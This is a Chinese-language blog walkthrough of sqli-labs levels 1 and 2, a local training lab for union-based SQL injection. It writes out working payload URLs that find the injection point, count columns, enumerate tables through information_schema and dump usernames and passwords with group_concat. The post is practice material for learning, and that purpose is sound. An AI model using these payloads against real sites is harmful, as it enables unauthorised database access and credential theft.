sqli-labs初学(一):联合查询注入less-1&less-2

2021/4/23 2:25:25

本文主要是介绍sqli-labs初学(一):联合查询注入less-1&less-2,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

此篇为我个人练习,仅供大家参考,若有错误请及时指出!

Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。博客地址为:

http://dummy2dummies.blogspot.hk/,博客当中有一些示例,国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频,在youtube上可以查看。ps:印度人讲英语口音太重了。。。。凑合着听懂点。

此处考虑到有些朋友不会翻墙,遂分享到国内地址。

http://pan.baidu.com/s/1bo2L1JT

联合注入思路:

       union联合,合并:将多条查询语句的结合并成一个结果,union注入攻击位一种手工 测试。

 

less-1

1.判断是否有注入点以及是什么类型的注入(整型or字符型):

网址:http://localhost/sqli-labs/Less-1/

(注:我推荐使用火狐浏览器,他有一个hackbar的插件方便后续的输入。hackbar可自行百度,安装很简单。)

首先在URL中输入?id=1,可以得出正确显示:

然后输入?id=1 and 1=1 还有and1=2 发现都是输出正确,无法判断出什么类型的注入。

接着输入?id=1',可以看到出现错误。

在这里的错误是指页面发生变化,不管页面出现了什么变化,只要页面有变化,就算是触发了数据库报错。

而后我们输入?id=1' and 1=1以及?id=1' and 1=2均出现错误,此处我们可以得出less-1是一个字符型注入。

报错后,在其后添加注释符,如果回显恢复正常,那么就是注入点。注释符可以是#、--+以及%23。经过测试,--+能使页面恢复正常。

2.用order by语句查询该数据库的字段数:

http://localhost/sqli-labs/Less-1/?id=1%27order by 3 --+

此处语句输入要从order by 1开始。

order by 4出现错误,故字段数为3。

3.. 利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置:

http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,2,3 --+

可以判断出输出字段为2。

4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询:

(1)查看数据库和用户:

http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,database(),3 --+

可以看到用户名为:security。

(2)报表名:

http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 --+

可以看到爆出来的表名为:emails;referers;uagents;users

而后更改语句中的limit0,1,依次为1,1、2,1、3,1;

(3)爆字段名:

http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='referers' limit 0,1),3 --+

可以看出爆出的字段名依次为:id;referfer;ip_address

语句更改与爆表名一样,不在赘述。

(4)爆数据:

http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select username from users limit 0,1),3 --+

可以看到爆出了八个用户名,就需要输入八个很麻烦,我们可以使用group_concat语句:

http://localhost/sqli-labs/Less-1/?id=-1%27 union select 1,(select group_concat(id,0x7e,username,0x7e,password) from users),3 --+

如图,一次性输出十分方便。另外,为了便于阅读,我们可以在输出中加上0x7e或0x3e,其中前者为~或者为>。

 

 

less-2

less-2与less-1过程基本一致,不过变成了整形注入,具体过程不再过多赘述,放上截图供大家参考。

1.判断是否有注入点以及是什么类型的注入(整型or字符型):

网址:http://localhost/sqli-labs/Less-2/

首先输入?id=1,没有错误;

然后是?id=1',错误;

接着?id=1 and 1=1没有错误;

然后是?id=1 and 1=2报错,

所以这是整形注入。

2.用order by语句查询该数据库的字段数:

如图,得出字段数为3(注意:整型注入时,输入的时候要加#)。

3.. 利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置:

可以看到,输出字段为2。

4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询:

(1)查看数据库和用户:

可以看到数据库名为:security。

(2)报表名:

(3)爆字段名:

(4)爆数据:

 

以上就是sqli-labs less-1&less-2的过程,之所以,将1和2放在一起就是因为这两关只是注入类型不同,操作以及语句的使用基本完全一致。

若有错误还请各位及时指出。



这篇关于sqli-labs初学(一):联合查询注入less-1&less-2的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程